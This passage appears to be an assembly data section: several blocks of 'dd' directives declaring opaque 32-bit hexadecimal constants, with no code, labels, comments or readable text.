dd 0A417ED77h, 3CF365D5h, 0B108CEABh, 7D50A4Eh, 0B47E23EBh
dd 0CACB581Fh, 6C389EA8h, 0A42E740Ch, 1BBB9E76h, 4094C190h
dd 9D0CA8C3h, 399FF7C5h, 0B6A9392Ah, 0EF43FFCBh, 0D19127FEh
dd 1C0D02DCh, 0A65AF6DEh, 6F1538A8h, 0D79F54C5h, 8A9D6A8Eh
dd 768B1F2Dh, 5E9B5B89h, 9961E123h, 15FEF245h, 7971FE49h
dd 0FEF78421h, 1D538E14h, 11AFB53Eh, 61B72291h, 68485432h
dd 0CCDB8D71h, 0CA499FAAh, 31613591h, 421429FAh, 0B9174770h
dd 1D070882h, 3EC0504Fh, 5CC85F6Ah, 0D304604Eh, 789AA02Ah
dd 0A4836266h, 8977C1Fh, 481A43CEh, 9429C363h, 0BF9A9043h
dd 0B4CABB26h, 0B59BBE72h, 3A1D1D31h, 5B580DE1h, 33764D68h
dd 0A41406B8h, 2FE7D449h, 6766FCCCh, 2D7AB68Bh, 0C923AC63h
dd 61BEE3CBh, 95F945C8h, 243F5B71h, 3F8F829Dh, 74FE61F3h
dd 971E684Dh, 0CCAC8077h, 0F18559C8h, 571B2365h, 0A6F0A780h
dd 0ADC9A72Ah, 6665AAF6h, 0C3CB07B8h, 7D34CD1Fh, 4D0C8F26h
dd 89849F6Bh, 32FA9582h, 2F05CD1Ch, 58C3EC7h, 7A7B2B21h
dd 546DF3D0h, 1DA043C5h, 0F1A34417h, 923EA1E8h, 95244E9Ch
dd 73D8E2ACh, 3C3751BCh
dd 73777Fh, 0F93D3D6Ah, 0F561AF80h, 548FC5B2h, 876BD4C1h
dd 0F871F866h, 0EB9FB519h, 90338E04h, 66BBC64Fh, 3780B754h
dd 82B32964h, 8C3912DDh, 2AC2833h, 0BE8AAE39h, 0CB95EE87h
dd 5644695Dh, 34968F0h, 0D30D1E88h, 3EBEC092h, 0BB68E1E7h
dd 4CB15503h, 32E2E7B9h, 0FA753369h, 0D36C72C1h, 0EB99765Ah
dd 78F0Dh, 0C673914h, 0D56F273Bh, 0FB73FD42h, 0E3CC4132h
dd 0C258640Fh, 793FD131h, 6099364Bh, 98EDF052h, 0D5F1DB22h
dd 0F04BC6F7h, 0D2F4AEB0h, 6BE26FE3h, 2DEEE14h, 1F105363h
dd 9C49DCDBh, 93C1701h, 5F3053AEh, 0A6A15874h, 0F62986CFh
dd 0BD4541B1h, 0E09D202Eh, 0B8FA060Ah, 7594C8E0h, 0D99D0D82h
dd 0DCDE26FEh, 5546EF2Eh, 2B8642B7h, 98AB4872h, 3D226D2Dh
dd 0C3597A71h, 0F8B9F313h, 0D35CBB3Ah, 1A84874Dh, 14605D9Eh
dd 7A289FAFh, 610DF182h, 73D4F17Ch, 0FA1E46B0h, 0B68F0B54h
dd 0C6923FA6h, 0E0E11D29h, 0A55813DDh, 0CF76B1B9h, 0F54980E4h
dd 0D19A7FC1h, 4E81C8CFh, 96647AE9h, 7BE9FC34h, 54D8CAC4h
dd 0CB24AA4Bh, 475BA9FCh, 93F79E97h, 0DED1FE60h, 0E2AB6782h
dd 4DC1478Eh, 0A6769F56h, 43792FEBh, 0D4615706h, 0F2613023h
dd 63F8C4BEh, 0B5EC3BA7h, 24BE9BFAh, 0BC83AE90h, 0E5C8E158h
dd 161122B6h, 4F039B81h, 0FD4E9716h, 0F8A4F3F9h, 30A63892h
dd 743DAAE3h, 0A3BBE452h, 0CE60A111h, 0D6B4CE05h, 0A2E4DBFAh
dd 4E4F2176h, 82C6DF9Fh, 0E3E7F407h, 9A3D4437h, 0A3A498A7h
dd 0B822A7BDh, 0F4EE8F0Eh, 0E02B38AAh, 4DFD4C95h, 0DC0E42CCh
dd 3B0DF71h, 8DB06666h, 42F4F441h, 149FC29Dh, 57DACAE1h
dd 61BAA570h, 7E0529D0h, 39B82FBFh, 5F734E32h, 5EFAB5AEh
dd 6404B03h, 2CCA7572h, 7A49463Dh, 2B2305D4h, 4B91C54Bh
dd 0E973C88Ch, 95AA7117h, 0B2526FF5h, 7AA4C137h, 0C9272AEEh
dd 5E45D2A7h, 0A9B6F211h, 8855289Bh, 0D1993548h, 0CA32C8ADh
dd 76B9614Bh, 87EF8764h, 6E9CF7B8h, 0EFE66F01h, 0B56ED7BFh
dd 0D074EFD7h, 39D00902h, 4E2CFD4Dh, 3369CE60h, 0D78FB8Ah
dd 203FE892h, 6F4324D5h, 0C654C236h, 9F10764Ch, 0FCB159CAh
dd 5F3636ABh, 9E4E6D63h, 96F84B7Ch, 0A72FCB42h, 4E3463D5h
dd 4663D6C0h, 5A8EE6A8h, 7C2E83C9h, 0C6529D3h, 0A490382Ch
dd 4459DC24h, 0DBD2306Ah, 0CC856161h, 0D14AEBB1h, 6B8CE1F9h
dd 80321520h, 4312DDEBh, 1174A899h, 0A00932E3h, 6937959Bh
dd 0B44FCC43h, 0CF379CD8h, 0C28D8E2Fh, 0CF329DAh, 1AEE9628h
dd 5F6E31B9h, 0C88937D7h, 0BF511289h, 63559802h, 2B1ECF78h
dd 0FFE3A732h, 0EB5629B9h, 0A8E5E051h, 92CEAD10h, 17C82189h
dd 0E5FF9FD2h, 39F64139h, 0F4E5C5DBh, 0F498F7C1h, 6815790Bh
dd 544C1CB3h, 38920CB2h, 173B2407h, 0D05EEADBh, 0A516ACE9h
dd 3B84BDB9h, 0CC8354BDh, 0B4881DBDh, 0D8515D71h, 32A45CC8h
dd 0F849556h, 3799BE2Ch, 936E85EFh, 5CCBFD1Fh, 0A75A3CB3h
dd 21CE24B1h, 6114792Fh, 4662ADAAh, 0EA95C437h, 3095F1BDh
dd 0D581050Dh, 0D5584CE5h, 210E9529h, 0FC1A9EAAh, 51379ED8h
dd 4154BA1Eh, 0BAAF76DCh, 0BEAE19DFh, 0AB01BBFAh, 0E8DFF93Ah
dd 92B7F0BAh, 0DB961078h, 584DD2F0h, 0E4471F0Bh, 0C2D019B9h
dd 9806337Bh, 9BBF23CEh, 6B9A730Eh, 0B4DD99F4h, 49ECF976h
dd 3C0D7FE0h, 0B4A53D23h, 0F1D2F685h, 182DEB42h, 0E25F05FDh
dd 3FE7CFB9h, 0F72CC514h, 0E300C246h, 81EBB018h, 7B37D4D6h
dd 0F27FF5Eh, 7DAA7D4Ah, 5A7BD9A4h, 4F764FFFh, 7E154641h
dd 9A4C253Eh, 85D64384h, 567039F1h, 4D9735C4h, 21196576h
dd 26692D8Dh, 339B3235h, 83DE5E76h, 1C60BE48h, 0BAAFA3E2h
dd 0B90545B9h, 0A7ED2142h, 801AA0D3h, 0CCB28FEh, 8E984770h
dd 58C09441h, 1285540Ch, 86E373CEh, 0A25B3265h, 0BB4F56DAh
dd 8A713430h, 4C135484h, 0E58A1FD6h, 0FB57E255h, 0E564C808h
dd 82AA985Ch, 0CB64C7E3h, 4706C9CAh, 351BD836h, 0DB4743F9h
dd 15FF0749h, 137D9AADh, 42412626h, 0D050CB3Ch, 5ADEA5D1h
dd 3C1FC73Fh, 0B1ABF0F2h, 0BC4DAAB1h, 966AA546h, 9AB8C1CCh
dd 7C11EF96h, 0F685602Ah, 0B13FF6D8h, 891E09D7h, 4FFE38BEh
dd 0C7F8B83h, 0ACF01A84h, 6A148DBEh, 0DA5ABC73h, 0C2EA87D3h
dd 0DE4C536Ch, 9A712DE3h, 0A962E93Ch, 79D11823h, 4C6F89C4h
dd 0C0B89550h, 49B17FA2h, 416505B0h, 97B0DB43h, 0B8FD65Fh
dd 0CE5070F9h, 0B2F501CEh, 0F8D55CD4h, 7140CA3Ah, 0BDA1C81Dh
dd 0ADFEE424h, 0E0E5B08Eh, 2CE44419h, 6C9A6220h, 9B27F1E3h
dd 16610025h, 61B7B0D5h, 2A2D4D6Ch, 0DCB69E19h, 695E34B5h
dd 8EA04DF3h, 85F12895h, 9F383099h, 0EE72A08h, 0B406E156h
dd 9C829280h, 0AC1D15AAh, 5FB7F4D8h, 5B28696Ch, 60C8E796h
dd 2FDA4A68h, 0FBA10A7Ch, 7F0F2B0Ah, 0B2A9078Ch, 0E102A735h
dd 0E51BE631h, 0C6DC8480h, 0F6DBBDF2h, 7A5D8B51h, 3C67AADDh
dd 1ADB35EBh, 0AA09E26h, 0CBA01E80h, 24A0A2DEh, 8EF7AD88h
dd 28D20062h, 0E7ED0882h, 3A88DC0Ah, 0CDEC4BF9h, 44B50CFFh
dd 0C541977h, 20D2A281h, 5A20946Eh, 870E89B4h, 72F4C47Dh
dd 0C56FC733h, 0EFF9865Ah, 8335CE87h, 0C178F3DEh, 2252C78Ah
dd 7F3789B3h, 177A3D35h, 756C65A6h, 67FA79DDh, 0E7715B15h
dd 5D351C5Eh, 0DD8DABB8h, 0FDD4A849h, 9D290E0h, 8B2493Eh
dd 16972366h, 5ECD686h, 2E12D28Eh, 379A14B7h, 0C4524D26h
dd 950CF65Fh, 0FD739F00h, 1E9EEE28h, 49009BB6h, 5FAFE64Ah
dd 18776093h, 1A6959D8h, 0EE4BF1Ch, 0FFE83D2h, 8A66E9F2h
dd 0BD06AA21h, 3940EB9Bh, 37AFCE27h, 6349EF88h, 0B072B9CBh
dd 9DAFC4A3h, 2A292530h, 2108E880h, 9C3EA6D4h, 92761087h
dd 0CF099339h, 55D8DEEEh, 30801A71h, 98EA46F6h, 0F82AAEF9h
dd 127352DCh, 7BB22Fh, 238AEF84h, 0EAB6EFD6h, 1AF3657Bh
dd 0A7AD9E5Eh, 31EFE526h, 15686E87h, 684F6D19h, 0D75A6015h
dd 12C785F2h, 1B92DF78h, 0DA2EF436h, 0C02EDFB4h, 2BAA30B2h
dd 7DC02765h, 2CCF9C6Ah, 4497F2C2h, 0CEA1071Bh, 2985E162h
dd 3C2EFFBBh, 51C449C2h, 12781237h, 0F287D00h, 9B1E5915h
dd 0C8F35497h, 0F9790C52h, 0D7ADD7B3h, 244B2926h, 6D63880Ch
dd 23A56282h, 74AD3522h, 0E3283E51h, 0B7E50C3Ah, 7495C223h
dd 9D802FDh, 87C44AA2h, 786737D9h, 0AA303F10h, 5E1CE626h
dd 0FFCC1721h, 76E8FD2Ah, 22A2A700h, 9C0635BCh, 6630CAECh
dd 911AF894h, 0F5081E4Fh, 0E013CF49h, 619D580Fh, 5C8F8497h
dd 9EDE406Ah, 0D80EB070h, 524587D9h, 60C097D0h, 3FC2A15Fh
dd 3FF13BAFh, 1221E7F2h, 7F277B40h, 9B38B1E5h, 965C905Ch
dd 252F645h, 0B70239CFh, 1F6409D0h, 0CDBB9037h, 8E26F089h
dd 170600BDh, 919BA619h, 5223B3FBh, 55EC05F8h, 0F4EEA5FAh
dd 8FEE16B8h, 0EC265B57h, 964FF999h, 5FE06598h, 0DE69B7C9h
dd 9C8704D8h, 341A3488h, 5018ECD9h, 85058CF2h, 0D94DE1A7h
dd 9BA0DEB5h, 278B3FCh, 53B1058h, 1BCD6114h, 95F7FE48h
dd 0B4CFC9D9h, 377E1A7Ah, 0AC891079h, 60128E87h, 0C157C02Fh
dd 48344809h, 0BF8AF4BDh, 2CFC6480h, 56BCF9A4h, 78840D06h
dd 0A2C4A08Bh, 62B3CFE9h, 5BADEADCh, 0CF0C1261h, 0B2DF01A2h
dd 0B7BD0090h, 31F45807h, 59BC4D2Ch, 40958ED7h, 0E237CD84h
dd 0BC9E440Ch, 3E3B2A53h, 0D75F5D96h, 0EA8BB887h, 4817A22Bh
dd 0B3DAEAC7h, 0A84069EEh
dd 0AFF7B8D9h, 0BE6E3E29h, 0BE612ADDh, 9063E732h, 4A0991BAh
dd 656A974Ch, 0EAD77BBBh, 0C660317Fh, 5FBCACFCh, 0CD689AFEh
dd 31ACFA7Ch, 0BC55B315h, 2C2A5366h, 24BEBD75h, 28A948EEh
dd 2C1BFBF4h, 1E757DF0h, 0EC76E5A7h, 9D2051ECh, 92CC3E1Eh
dd 42DF7E5Dh, 8055D3Fh, 0C8F99205h, 5812F75Eh, 2188346Fh
dd 9B156636h, 5B7FAB41h, 0C7FAC541h, 384F866Ah, 0DC60A78Ch
dd 9CA25898h, 12E717h, 879EF1A9h, 0C42858B7h, 39E11108h
dd 26FF721Bh, 0F5C079F9h, 52575CC4h, 20A1A3F5h, 0A9ACE22Ah
dd 75DBDEA9h, 0C3B9DEBh, 29A0C4B4h, 79623271h, 97E5EF34h
dd 0E58BC26Fh, 0CF90507Ch, 0D134F087h, 0DFCCE55Ch, 490E80A8h
dd 446285D1h, 0EE2C0BA5h, 0E58512D5h, 2FF9925Ch, 1F39CA5Ah
dd 76741A1Ah, 64ABDA16h, 0CF771504h, 0A92D523Bh, 0BF62403Eh
dd 0E601BFB8h, 0AB57942Fh, 0F46FB992h, 1F94FE98h, 0AFA87B07h
dd 4C4F84B4h, 14887F9Bh, 147254B3h, 387F276Dh, 0FF563428h
dd 4A26D7FEh, 6C2F0C80h, 3B0CB1DFh, 0B2BA6DA7h, 1CA56FACh
dd 64E2CEA2h, 0F4B457BCh, 6124E448h, 0ED15DAFDh, 1422642Ch
dd 96D86751h, 2A42E735h, 2FD36206h, 0B8E6999Dh, 8CB762B6h
dd 0CA16227Ah, 7F976295h, 1A475F26h, 2A6CE0DBh, 17B8357Dh
dd 71B6757Fh, 717FA3B6h, 4375F662h, 98FBD941h, 3F5F9190h
dd 2BBEECD5h, 0A12B9D5Eh, 5FC32EA5h, 10BE3DAEh, 7BB5FD1Bh
dd 8033C2BFh, 51FDA096h, 3ACD9754h, 1CB13165h, 3814C062h
dd 5ED137C8h, 0B8D81C2Ch, 23718235h, 3FAC1BA3h, 0D276035h
dd 0CD5182AFh, 0BC0B386Eh, 0B424C7EFh, 53DC6012h, 5C92A5F7h
dd 1C9926EEh, 0EA5CC78Fh, 933A5937h, 0F85AA58Bh, 90B2BF81h
dd 374A56A0h, 70A9F4C2h, 0F9E13B99h, 0D4B88C9Dh, 4FB487BBh
dd 0D14505BEh, 67DA200Fh, 45898E63h, 9432A787h, 7A84ACD5h
dd 58235151h, 2126C615h, 0C82B7BA5h, 0EAC644EEh, 0B923837h
dd 979AD969h, 0B700A0C5h, 778783EDh, 0BA2DD60Dh, 31686788h
dd 7E7BD4D5h, 83B6C9F5h, 9642743Fh, 40BA634Fh, 5AA48DAFh
dd 0A5CEC78h, 659E3CF7h, 1AC22A3Ch, 0BF0F4B40h, 0AAFEAE0Eh
dd 2CF95078h, 0BD9793CDh, 2460CDB8h, 264C79Dh, 0F26AB1C3h
dd 0EC7C5D3Bh, 68BC6D1Ah, 9F5023C4h, 0ED7B5E7Eh, 0D6672C12h
dd 5C5F39E1h, 0C4A8B8C1h, 0E5551611h, 277ADC4Bh, 0D600BDA8h
dd 0D641BBA2h, 0E04DDCCBh, 0EDE9E9D4h, 80C834F3h, 0D4A66B1Fh
dd 9FBA8168h, 7CE0F14Dh, 27145DE0h, 7F6488AAh, 9C264B43h
dd 143AABE1h, 0AF4C36F1h, 0C1BBE167h, 5AC5509Bh, 0D4B41074h
dd 8117740Fh, 0B7D15EB4h, 2CBBCBA4h, 0B67013A1h, 289F4D4Dh
dd 8EA20D28h, 0C968C184h, 15EB6Bh, 0DD2E178Ch, 0F9F99036h
dd 7D1487ADh, 0BDB72276h, 0C0B8F243h, 8FBA4CCEh, 0B85E20F5h
dd 2219CF41h, 2CDC6E5Eh, 0E3595EF2h, 3132D63Dh, 47C9518Eh
dd 0B24782D6h, 89A3DF88h, 0FA34D90Eh, 889EB289h, 0F8E09CDDh
dd 41D264C7h, 0B9668087h, 51321761h, 0D87C8833h, 8E340AEBh
dd 90FB009h, 62A8A8C6h, 0C2E1E587h, 0AC3101CEh, 0A3E7394Ah
dd 0B4FC6E0Eh, 1C166470h, 951DA88Ah, 0E2F07E30h, 55CA81CFh
dd 525709DAh, 3B7A949Eh, 0E3559389h, 28DD712Ah, 0F53484D8h
dd 139FA9EBh, 0F4DD6D1Ch, 0AF4511A8h, 930FC01Bh, 434E4ABCh
dd 12ADDE8Ch, 79397425h, 0E743671Eh, 0CAF76AEAh, 3B7B6B69h
dd 0ADFFA2A0h, 8A35EE01h, 0BD9F4820h, 0F76D12FCh, 0E8EADF64h
dd 0F5077156h, 66884168h, 528E0D3h, 0C8E338A4h, 0F2B61FFAh
dd 79E37DBDh, 2C343B15h, 26D639DDh, 4A6665F9h, 0B6381845h
dd 1D1DCE1Ch, 3B10888Fh, 34ECD224h, 0CD18EC5Eh, 0B16B71C5h
dd 5A431CEEh, 48CC3AC1h, 0AD1E9B71h, 8ABC160Ch, 7F02DB05h
dd 74C67484h, 5E4DCBD6h, 0B1BAD00Dh, 32EDFD17h, 0CD990CFFh
dd 0DDA649BEh, 29C61CC9h, 0CDBD0F5Bh, 17341A99h, 0E1C1E513h
dd 0F4786EC8h, 8F8F7303h, 0E7CC887Ch, 2E721BE2h, 2DD0A2E6h
dd 0D2496FDCh, 1DF6E687h, 4AC429h, 852D147Ah, 0ABE2613Eh
dd 9C85B4A5h, 0EADDF1DBh, 0D565ACF6h, 508095C7h, 0D5DF49FAh
dd 0EC746172h, 0EB936112h, 0F8BB907h, 5A5AD915h, 374DA7C6h
dd 0C3291ABCh, 9F0CE6C8h, 71F217FEh, 0DF5D331Dh, 8F1F17E7h
dd 0BB2D2DBFh, 0AD43881Fh, 964733A7h, 0ED8C4F46h, 0F916D50Bh
dd 0BCD3650Ah, 3ADD3BAEh, 0CA51589h, 0B2657CE5h, 0C91E0863h
dd 7FF50F4Fh, 0ED6E8F29h, 0C43EA79Bh, 4E64CB15h, 0F426AEFh
dd 455A8A27h, 31D79BD9h, 54B7CE62h, 53289E6Ch, 2E2B68FFh
dd 0DA9BD1D3h, 89A8B97Bh, 0C4E33FAFh, 4129E781h, 984A2147h
dd 0F28EB7A8h, 49A2278Ch, 81621DB7h, 0CF9CAAE4h, 0CA00D10Dh
dd 2340EADDh, 0C9EC13A8h, 5EB90B0Fh, 697F1C14h, 0AFB00291h
dd 0DA79E543h, 6DD9BF9Bh, 0E8BFA15Bh, 0F25B5B8Eh, 398DB06Bh
dd 8C1B4183h, 6CD0A10Ch, 71ABC714h, 0D70B2B4h, 347B36B7h
dd 13967F6Eh, 56E25686h, 0CAC42113h, 846FC72h, 3D10492Ch
dd 980EA9F3h, 7DD28127h, 47352AB4h, 84A7B5Fh, 65091E2Eh
dd 0BC91137Ah, 647EDF42h, 0E821E3D2h, 0C44FA7A0h, 83BC91ADh
dd 201482F2h, 0C8314D01h, 746CF68Eh, 8B02D21Dh, 9351AE24h
dd 302564D4h, 0B70C84EFh, 0D9FBB9CFh, 0BD75F1D4h, 1EC8B2D6h
dd 0A73CB44Dh, 0D562A6E8h, 0AB263684h, 21CBD329h, 132E78B9h
dd 270E4A8Bh, 68501BA3h, 51DE4E64h, 4E69E57Ch, 99EC2146h
dd 57291350h, 0E8E176F8h, 4F7F0CD3h, 26AFE3DAh, 0D438EE27h
dd 6856CC44h, 39F02105h, 0EA7C858Bh, 7E35D9B3h, 8A6639EFh
dd 0EC479DBBh, 0B33384C6h, 0C40076E6h, 0A9CBD65h, 83C10C75h
dd 0CB278026h, 5627E690h, 768E3A27h, 0AE274EAFh, 0A9984E4h
dd 807F40B0h, 772219FCh, 920C681Bh, 0E338EA29h, 0CD37D270h
dd 8A37A2FFh, 4F14C022h, 2FC9B409h, 0CC0DF260h, 70F8A53Ch
dd 45D35869h, 0ECF8AEB7h, 85399A5Ah, 1B3E966h, 0DD15475Bh
dd 0DC3A1232h, 0C031D803h, 0C50CFD1Bh, 0E6176433h, 402FD871h
dd 8BDE6919h, 3F0E2C81h, 19ABA03Fh, 0E5615FABh, 3B71D9B4h
dd 1D9BAA11h, 0D3682DBh, 0F987E78Fh, 8BDBD7CBh, 0A5F9684Ah
dd 1A852141h, 0ABB83FDEh, 17F5DBCBh, 4A149ED2h, 87E316C4h
dd 9E60EA63h, 844374C6h, 63CCBF82h, 30292C99h, 6B758886h
dd 2BD00157h, 104C8442h, 23F9F4FAh, 14FA6C1Eh, 9351BE38h
dd 0BE6E2FE9h, 84A11AA1h, 0CA516C0Eh, 0F951AF62h, 0E1D2FD04h
dd 45C0ED27h, 0F6E65FFFh, 1C9D62Eh, 528EF0E1h, 0DEAAC613h
dd 5AC938FDh, 0CF4710E7h, 0BF2DB4C4h, 2E9C5F99h, 12F5BB06h
dd 742B088Fh, 81281D78h, 502EFA8Bh, 4C40CF7Eh, 29542A15h
dd 3CFAF59Eh, 0B1D8A09Fh, 0B2FCF60Eh, 0CB1CBE96h, 1FB868E3h
dd 0AC7660Ch, 8C803789h, 0B1FC1812h, 2002AE20h, 5AD4D1A7h
dd 0A8813E80h, 8C701D7h, 0B70EE05Ch, 186A48BDh, 33024C8h
dd 7C122D8Ah, 8130163Eh, 0DA4AE51Eh, 0A0D1B837h, 7329427h
dd 0AEDFF4FFh, 486E099Fh, 0E46A4D99h, 2E39DCACh, 8C902059h
dd 14ACA1ACh, 1F760490h, 0BB3EFDF1h, 8CD3F64Fh, 0C332B3FAh
dd 0C13A66D3h, 0C25FF913h, 0B578C1D8h, 91E44B3Dh, 4BDB4823h
dd 40064310h, 9E0FF235h, 720F46C4h, 2C84C740h, 0D19A0EF5h
dd 0CDE685Ch, 0F46A3762h, 540FB0C7h, 9BEB113Fh, 0BEB39105h
dd 0A7F839C3h, 7783CD17h, 8D4C93DCh, 5CAAA05h, 40A286F7h
dd 0E3FB1C38h, 0C88D3551h
dd 0B71B718Bh, 56700E2Ch, 3C9B4233h, 146845E3h, 18431617h
dd 0F7A48B9Dh, 0F8D83A05h, 0F659A7C6h, 70DE4AC4h, 0AE3F2FBAh
dd 0F289194Fh, 0BD264F34h, 69E431D6h, 745B46EAh, 2642E525h
dd 38D560CEh, 1A17A8D0h, 1E2E3FBEh, 4195014Eh, 0ED7FB235h
dd 0E90D7821h, 9C48807Dh, 7D2DA740h, 6721C5E7h, 0A4E74398h
dd 2E737EB3h, 36B000Dh, 3319DE2Bh, 48F23067h, 0BB74EFBCh
dd 782A986h, 322E4B28h, 89C05402h, 0DFC0740h, 4566FA1Bh
dd 50B44C79h, 4C12D04Ch, 6702C593h, 0F6480199h, 0CB9D0700h
dd 0E8A06000h, 0E21FAE30h, 80C21839h, 1AF15D52h, 26DEEF24h
dd 0ADA71BAEh, 0BD16A77h, 31CC1FD8h, 8DCEC3C1h, 435E8E0Ch
dd 79FBA44Bh, 6C28D9D5h, 0B97FFB21h, 98A9EBA7h, 48DD7180h
dd 644300CCh, 0F70A36A1h, 5E8FD3D4h, 15B81EDFh, 1E480664h
dd 5FA74C5Fh, 0C29F2CDEh, 0A3A6F9C9h, 443158ADh, 115A215Ch
dd 802373E9h, 868EF103h, 0ECB3B212h, 73849395h, 47D67DDBh
dd 8F777179h, 974503C4h, 3713B231h, 94FD33Fh, 0ED265F9Dh
dd 0D017148Eh, 468538EEh, 78C63641h, 92A41ABh, 5C260119h
dd 0B895D7DBh, 7A5DE4D6h, 77F45AFAh, 0DC842Ch, 36DCA6A4h
dd 4F4F79C9h, 5AA42A46h, 6F40DB23h, 25CF93D3h, 30E216D9h
dd 1F45301h, 7521E5CAh, 1BEF8E43h, 6ED85143h, 359A2107h
dd 7B349A58h, 0E41F41A0h, 17CD12Bh, 0D265A5A6h, 91A43BF1h
dd 0BF02DA5Eh, 67188DC5h, 74DFCAF2h, 0C2205882h, 0B24751C6h
dd 170DBEE7h, 0BE237C42h, 13B2841Bh, 42E15E5h, 9B11A6FAh
dd 0A2C82660h, 0FF87C0E9h, 0AF1FFABEh, 0B4A71876h, 5119E503h
dd 62B50230h, 0B36E2DF6h, 804120DBh, 0B6C95850h, 44CCB11Bh
dd 72B613B0h, 363D2DE2h, 468DFCA6h, 2972B9CAh, 0A133A3A8h
dd 0CA76AD84h, 48D71F9h, 0A66ED4BAh, 705A47Bh, 8F1BFED9h
dd 439C309Ah, 97728FE1h, 9097A915h, 0B3ED8724h, 0C7BF6F5Bh
dd 30C0FAD0h, 830199A6h, 0A66C3DCCh, 0BD61FF1Fh, 30439215h
dd 0E9DE041Ch, 15D4E6Fh, 48B1F765h, 2440216Dh, 0B1F87918h
dd 11423C34h, 0C9B7D755h, 0C6809D88h, 673D9D31h, 746C2AB8h
dd 0ECCE536Fh, 5565D978h, 7D362ACDh, 91AD896Ah, 7640C360h
dd 38C8156Ah, 0E5AB080Bh, 0DE1535C8h, 48C534AEh, 3F74B65Bh
dd 5BBD90A9h, 0A31C65D5h, 0E791310Ch, 6748297Ah, 0D6951105h
dd 0FE1827F5h, 0ABBC81EFh, 395AFB11h, 0D2E0132Eh, 5B1FE1B5h
dd 198AA545h, 0CB4AB216h, 3BF0EAF6h, 4FEB9B35h, 0F62D0F46h
dd 0FE7AFD96h, 6631EF25h, 0D52D125Eh, 10A46E48h, 98395F7h
dd 0FA521A09h, 43651A64h, 627643F7h, 1E139C6Eh, 0CBE04B1Eh
dd 0C0265567h, 69B85D42h, 0F92D1DF2h, 4F61270Dh, 7FE4781Fh
dd 68E87B4Dh, 482B2713h, 577968E1h, 0FCA669C5h, 0DA3146BCh
dd 23620355h, 4F2B80D7h, 9925573Bh, 0DD040201h, 4A77AF16h
dd 3DDBFDE7h, 0F5DF16F1h, 0ED0991BEh, 6EC8B4A9h, 0D13E79C7h
dd 8C86BC35h, 130D00h, 77C0E736h, 3446C936h, 4DD85C35h
dd 61B4C907h, 0B7270CC4h, 0BB4F5B6Fh, 42CEB442h, 0D13C691Eh
dd 927CE28Ah, 909250F4h, 0BC760F6Fh, 2B385300h, 0CAACB276h
dd 3122BA50h, 6312FD05h, 5294590Bh, 10875187h, 3B1983FEh
dd 9D1D2BC4h, 8D95E3Fh, 0CF7517F6h, 0DC2488Dh, 416B9345h
dd 0B0770758h, 0B809DF94h, 0DF115551h, 66932F4Fh, 6202E412h
dd 70BAC591h, 19F5442Dh, 0A2A78707h, 0BCAFA146h, 37EA08h
dd 99338947h, 7616B9AEh, 0A230BB8Bh, 1C6BEB47h, 73DB4538h
dd 20AC1E74h, 0D6F63107h, 1CC358E4h, 4A3EBFE6h, 0F0DDEE39h
dd 281C2EEBh, 0EB131D05h, 9BA8229Dh, 0BBEDA60h, 49B8E84Eh
dd 0F41FABECh, 38C7C080h, 0ED22DA38h, 5034F2A6h, 0DF928140h
dd 78C5081Fh, 0CF76EB8Fh, 58943CD4h, 0A6C8D215h, 87A408BBh
dd 9DC61B7h, 0E822C44Eh, 0C16CA3DDh, 446974CEh, 0FEF43221h
dd 0E0CF597Fh, 45602FA7h, 0F848E1FEh, 0CFDD25EBh, 0D6625C46h
dd 321482E7h, 7CE89034h, 3E9B42AFh, 116905Bh, 25C76821h
dd 0AFDA2D7Eh, 2D230F6Fh, 0DB1326FAh, 6EB02AD4h, 0DDA9216Dh
dd 58395F90h, 5E3512F0h, 392C23D3h, 98EB8C54h, 123D74B9h
dd 0F48C8846h, 35C6F55Eh, 0C24F758Dh, 0C8074826h, 0E9BBF5EDh
dd 0E6C5B194h, 1FC4114Dh, 0A2B54EC8h, 1F16FE5Fh, 90E3596Ch
dd 0A52FEFC8h, 920AD843h, 0D667ADEAh, 5CE45D9Dh, 80D9CF51h
dd 0F85A6h, 35860B94h, 75F5D935h, 0B2304C7Ah, 7B4301C1h
dd 26CE0F92h, 3CF9EB08h, 0A5FAFFA1h, 23E62F1Dh, 0BF696C68h
dd 91801BBBh, 42E4B213h, 7841EF7h, 0F1659F3Eh, 0A4E96339h
dd 0C1C1742h, 3B6E3E24h, 38C28886h, 0CFBFEE67h, 0C8FCC53Fh
dd 4AA82701h, 6BE72888h, 0C8B5E79Eh, 0D5D44AD7h, 52CA6D54h
dd 0D2F2F64Dh, 84B44E99h, 0CF5578B3h, 49A63F56h, 6326DC07h
dd 675A33ECh, 0E0C98BCDh, 0C8268026h, 9F15B946h, 0F59AD477h
dd 0BD76B0F8h, 452348CCh, 8F80878Eh, 6C0F0389h, 6A45AB7Ch
dd 34B0324Bh, 0D6F8A20Bh, 349D312Ah, 0AF7AF73Ch, 0D262B840h
dd 38F5A284h, 59456D68h, 481F1C45h, 44FC1DDDh, 293C4008h
dd 4E49E167h, 8C079B6Eh, 51D81F82h, 823688BCh, 3AE394BBh
dd 0BA3CAC68h, 0CE0FD4D0h, 662462Ah, 0E1910065h, 0CB35B1B3h
dd 0F084988Dh, 0FE10D121h, 0C3F74E36h, 0B11A6412h, 67F009B6h
dd 330D5577h, 8EA264CFh, 78FB1145h, 3BF5103Eh, 5B74BF90h
dd 0F5CD7366h, 643CE166h, 8405A15Eh, 9A165667h, 67F12E02h
dd 8C9D53B7h, 0DB5DCD33h, 93D213B8h, 539A37A0h, 90726749h
dd 0FB783FDBh, 0F0DEBA34h, 0E46F58F9h, 0D0727945h, 93C58E01h
dd 0F334C9C6h, 0C4630D7Ch, 637FAB5Fh, 65438127h, 0AFD98AD6h
dd 3949FCC7h, 535D37CFh, 0DB6C875Dh, 67DD9094h, 248E77BFh
dd 2A8C07Eh, 0A6F38C5Fh, 0D219EABDh, 28DAF338h, 9345CDEBh
dd 7B32A3A0h, 0CF195086h, 0CC5EA7DAh, 0B55689D5h, 4237611Fh
dd 3CAA235Bh, 0E34163CAh, 3FFDC956h, 2611FF0h, 61E7907Fh
dd 6557E2B2h, 5C2AC50h, 0BE382A01h, 921D78C6h, 60534DEEh
dd 0F30B2ADBh, 3BDEE16Fh, 94328660h, 0F563A85Eh, 6A9D6E2Fh
dd 0E6185A08h, 0A2A73398h, 0D161F1Dh, 1CBB1345h, 57F54781h
dd 0B0966E7Ah, 9D425CC6h, 0F8F201C8h, 0E12E2534h, 9D9CE482h
dd 2E12696Fh, 0D10B4AFBh, 1F7968A2h, 0FB1C993Bh, 0A81BA54Ah
dd 0AA712DCEh, 615D38F9h, 8B7ED021h, 912F9AC8h, 677E92F3h
